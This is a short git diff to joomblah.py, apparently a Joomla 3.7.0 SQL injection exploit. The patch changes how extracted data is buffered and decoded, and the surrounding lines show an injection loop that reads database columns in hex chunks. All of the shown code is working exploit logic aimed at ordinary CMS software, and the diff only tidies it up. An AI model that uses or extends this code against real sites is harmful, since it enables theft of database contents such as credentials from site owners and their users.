diff --git a/Joomblah/joomblah.py b/Joomblah/joomblah.py
index 3a40d1d..809dc0b 100644
--- a/Joomblah/joomblah.py
+++ b/Joomblah/joomblah.py
@@ -35,7 +35,7 @@ def joomla_370_sqli_extract(options, sess, token, colname, morequery):
 	length = int(length)
 	maxbytes = 30
 	offset = 0
-	result = ''
+	result = b''
 	while length > offset:
 		sqli = build_sqli("HEX(MID(%s,%d,%d))" % (colname, offset + 1, 16), morequery)
 		value = joomla_370_sqli(options, sess, token, sqli)
@@ -45,7 +45,7 @@ def joomla_370_sqli_extract(options, sess, token, colname, morequery):
 		value = binascii.unhexlify(value)
 		result += value
 		offset += len(value)
-	return result
+	return result.decode('utf-8')
 
 
 def joomla_370_sqli(options, sess, token, sqli):